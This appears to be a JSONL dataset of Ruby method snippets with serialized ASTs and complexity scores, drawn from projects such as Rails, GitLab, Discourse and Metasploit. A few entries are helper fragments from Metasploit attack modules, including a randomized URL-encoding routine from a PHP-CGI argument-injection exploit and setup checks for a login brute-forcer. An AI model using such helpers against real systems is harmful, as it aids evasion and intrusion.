{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/php_cgi_arg_injection.rb","start_line":217,"raw_source":"def rand_space\n    uri_encoding_level > 0 ? ['%20', '%09', '+'][rand(3)] : '+'\n  end","complexity_score":5.98,"ast_json":"{\"type\":\"def\",\"children\":[\"rand_space\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri_encoding_level\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"%20\"]},{\"type\":\"str\",\"children\":[\"%09\"]},{\"type\":\"str\",\"children\":[\"+\"]}]},\"[]\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"str\",\"children\":[\"+\"]}]}]}","id":"75dd3f24-028e-4368-ba94-30362a0fd82b"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/nested_set/rebuild_patch.rb","start_line":43,"raw_source":"def self.included(base)\n    base.extend(ClassMethods)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]}]}","id":"62dcd3aa-99f1-47ed-908d-c620e9511a4f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/dialog/orchestration_template_service_dialog_spec.rb","start_line":304,"raw_source":"def create_parameters(options)\n    options.reverse_merge!(:name => 'user', :label => 'User Parameter', :data_type => 'string', :required => true)\n    [OrchestrationTemplate::OrchestrationParameterGroup.new(:label => 'group', :parameters => [OrchestrationTemplate::OrchestrationParameter.new(options)])]\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_parameters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"reverse_merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"User Parameter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_type\"]},{\"type\":\"str\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OrchestrationTemplate\"]},\"OrchestrationParameterGroup\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OrchestrationTemplate\"]},\"OrchestrationParameter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}]}]}","id":"ef6885bc-0a43-402e-9f2b-04fac98a536e"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/google_maps/phone_takeout_importer.rb","start_line":115,"raw_source":"def parse_semantic_activity(segment)\n    start_lat, start_lon = parse_coordinates(segment['activity']['start']['latLng'])\n    start_timestamp = DateTime.parse(segment['startTime']).to_i\n    end_lat, end_lon = parse_coordinates(segment['activity']['end']['latLng'])\n    end_timestamp = DateTime.parse(segment['endTime']).to_i\n\n    [\n      point_hash(start_lat, start_lon, start_timestamp, segment),\n      point_hash(end_lat, end_lon, end_timestamp, segment)\n    ]\n  end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_semantic_activity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"segment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_lat\"]},{\"type\":\"lvasgn\",\"children\":[\"start_lon\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_coordinates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"activity\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"start\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"latLng\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"startTime\"]}]}]},\"to_i\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"end_lat\"]},{\"type\":\"lvasgn\",\"children\":[\"end_lon\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_coordinates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"activity\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"end\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"latLng\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"endTime\"]}]}]},\"to_i\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"point_hash\",{\"type\":\"lvar\",\"children\":[\"start_lat\"]},{\"type\":\"lvar\",\"children\":[\"start_lon\"]},{\"type\":\"lvar\",\"children\":[\"start_timestamp\"]},{\"type\":\"lvar\",\"children\":[\"segment\"]}]},{\"type\":\"send\",\"children\":[null,\"point_hash\",{\"type\":\"lvar\",\"children\":[\"end_lat\"]},{\"type\":\"lvar\",\"children\":[\"end_lon\"]},{\"type\":\"lvar\",\"children\":[\"end_timestamp\"]},{\"type\":\"lvar\",\"children\":[\"segment\"]}]}]}]}]}","id":"75efed69-ad12-41b4-ba47-be7f3d28315d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/tftp/client.rb","start_line":234,"raw_source":"def wrq_packet\n    req = [Constants::OpWrite, self.remote_file, self.mode]\n    packstr = \"na#{self.remote_file.length+1}a#{self.mode.length+1}\"\n    req.pack(packstr)\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"wrq_packet\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"OpWrite\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mode\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"packstr\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"na\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_file\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mode\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"pack\",{\"type\":\"lvar\",\"children\":[\"packstr\"]}]}]}]}","id":"c7c72b57-9d6e-402e-a5d6-95a6284a68cf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/monitor/settings.rb","start_line":61,"raw_source":"def get_memory_threshold(worker)\n    @child_worker_settings[worker.class.settings_name][:memory_threshold]\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_memory_threshold\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@child_worker_settings\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"class\"]},\"settings_name\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"memory_threshold\"]}]}]}","id":"32dd3c76-8145-4086-ada4-f56849959689"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_fastlane_api_generator.rb","start_line":290,"raw_source":"def generate_lanefile_tool_objects(classes: nil)\n      objects = classes.map do |filename|\n        \"public let #{filename.downcase}: #{filename} = #{filename}()\"\n      end\n      return objects\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_lanefile_tool_objects\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"classes\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"objects\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"public let \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"()\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]}]}]}]}","id":"b2fe2aff-71ec-497a-9f84-a256790347ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/safari_file_url_navigation.rb","start_line":82,"raw_source":"def ftp_pass\n    @ftp_pass ||= Rex::Text.rand_text_alpha(6)\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ftp_pass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ftp_pass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[6]}]}]}]}","id":"cab0b048-e133-41d2-9b67-60cf3996afc5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/base_service.rb","start_line":39,"raw_source":"def success(project, warning: nil)\n      super().merge(project: project, status: :success, warning: warning)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"success\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"kwoptarg\",\"children\":[\"warning\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"super\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning\"]},{\"type\":\"lvar\",\"children\":[\"warning\"]}]}]}]}]}","id":"dddd8f47-7bc8-4acc-b7c9-cf1fb6d341af"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/mybook_live_login.rb","start_line":38,"raw_source":"def setup\n    super\n    # They must select at least blank passwords, provide a pass file or a password\n    one_required = %w(BLANK_PASSWORDS PASS_FILE PASSWORD)\n    unless one_required.any? { |o| datastore.has_key?(o) && datastore[o] }\n      fail_with(Failure::BadConfig, \"Invalid options: One of #{one_required.join(', ')} must be set\")\n    end\n    if !datastore['PASS_FILE']\n      if !datastore['BLANK_PASSWORDS'] && datastore['PASSWORD'].blank?\n        fail_with(Failure::BadConfig, \"PASSWORD or PASS_FILE must be set to a non-empty string if not BLANK_PASSWORDS\")\n      end\n    end\n  end","complexity_score":29.1,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"one_required\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]},{\"type\":\"str\",\"children\":[\"PASS_FILE\"]},{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_required\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid options: One of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_required\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\" must be set\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASS_FILE\"]}]},\"!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"PASSWORD or PASS_FILE must be set to a non-empty string if not BLANK_PASSWORDS\"]}]},null]},null]}]}]}","id":"7eb1c708-a2ca-4630-8203-d0f8c7ae0d8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":272,"raw_source":"def save_git_content\n    ensure_commit_shas\n\n    save_commits\n    save_diffs\n\n    # Another set of `after_save` hooks will be called here when we update the record\n    save\n    # We need to reset so that dirty tracking is reset when running the original set\n    # of `after_save` hooks that come after this `after_create` hook. Otherwise, the\n    # hooks that run when an attribute was changed are run twice.\n    reset\n\n    keep_around_commits unless importing?\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"save_git_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_commit_shas\"]},{\"type\":\"send\",\"children\":[null,\"save_commits\"]},{\"type\":\"send\",\"children\":[null,\"save_diffs\"]},{\"type\":\"send\",\"children\":[null,\"save\"]},{\"type\":\"send\",\"children\":[null,\"reset\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"importing?\"]},null,{\"type\":\"send\",\"children\":[null,\"keep_around_commits\"]}]}]}]}","id":"cee1bbf0-9291-4782-b50e-9873f5238842"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":508,"raw_source":"def test_render_partial_with_object_uses_render_partial_path\n    assert_equal \"Hello: lifo\",\n      @controller_view.render(partial: Customer.new(\"lifo\"), locals: { greeting: \"Hello\" })\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_partial_with_object_uses_render_partial_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello: lifo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller_view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"lifo\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"greeting\"]},{\"type\":\"str\",\"children\":[\"Hello\"]}]}]}]}]}]}]}]}","id":"225909f8-1573-400a-9a1b-9b41a166212c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/scheduler/thread_pool.rb","start_line":128,"raw_source":"def thread_loop\n      done = false\n      while !done\n        work = nil\n\n        @mutex.synchronize do\n          # we may have already have work so no need\n          # to wait for signals, this also handles the race\n          # condition between spinning up threads and posting work\n          work = @queue.pop(timeout: 0)\n          @new_work.wait(@mutex, @idle_time) if !work\n\n          if !work && @queue.empty?\n            done = @threads.count > @min_threads\n          else\n            work ||= @queue.pop\n\n            if work == :shutdown\n              work = nil\n              done = true\n            end\n          end\n\n          @busy_threads << Thread.current if work\n\n          if !done && work && @queue.length > 0 && @threads.length < @max_threads &&\n               @busy_threads.length == @threads.length\n            spawn_thread\n          end\n\n          @threads.delete(Thread.current) if done\n        end\n\n        if work\n          begin\n            work.call\n          ensure\n            @mutex.synchronize { @busy_threads.delete(Thread.current) }\n          end\n        end\n      end\n    end","complexity_score":75.4,"ast_json":"{\"type\":\"def\",\"children\":[\"thread_loop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"done\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"done\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"pop\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_work\"]},\"wait\",{\"type\":\"ivar\",\"children\":[\"@mutex\"]},{\"type\":\"ivar\",\"children\":[\"@idle_time\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"empty?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"done\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@threads\"]},\"count\"]},\">\",{\"type\":\"ivar\",\"children\":[\"@min_threads\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"pop\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},\"==\",{\"type\":\"sym\",\"children\":[\"shutdown\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"done\",{\"type\":\"true\",\"children\":[]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@busy_threads\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"done\"]},\"!\"]},{\"type\":\"lvar\",\"children\":[\"work\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@threads\"]},\"length\"]},\"<\",{\"type\":\"ivar\",\"children\":[\"@max_threads\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@busy_threads\"]},\"length\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@threads\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[null,\"spawn_thread\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"done\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@threads\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},\"call\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@busy_threads\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]}]}]}]}]},null]}]}]}]}]}","id":"6c55c58f-fd88-41b6-a114-2a3f2ab903bf"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/location_exists.rb","start_line":86,"raw_source":"def register_offense(node, replacement)\n          message = format(MSG, replacement: replacement, source: node.source)\n\n          add_offense(node, message: message) do |corrector|\n            corrector.replace(node, replacement)\n          end\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"register_offense\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"replacement\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replacement\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]}]}","id":"0cbb072c-f9cd-44fb-9cb9-2d145fd09f78"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_invited_pending.rb","start_line":73,"raw_source":"def latest_invite\n        Invite.new(find(\".user-content .user-invite-list tbody tr:first-of-type\"))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_invite\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Invite\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".user-content .user-invite-list tbody tr:first-of-type\"]}]}]}]}","id":"e82f4511-d31c-4815-a254-8b3b08da4238"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/common/exporter.rb","start_line":58,"raw_source":"def export!\n      render_doc\n      success(pdf.render)\n    rescue StandardError => e\n      Rails.logger.error \"Failed to generate PDF export:  #{e.message}:\\n#{e.backtrace.join(\"\\n\")}\"\n      error(I18n.t(:error_pdf_failed_to_export, error: e.message))\n    ensure\n      delete_all_resized_images\n    end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"export!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_doc\"]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"render\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to generate PDF export:  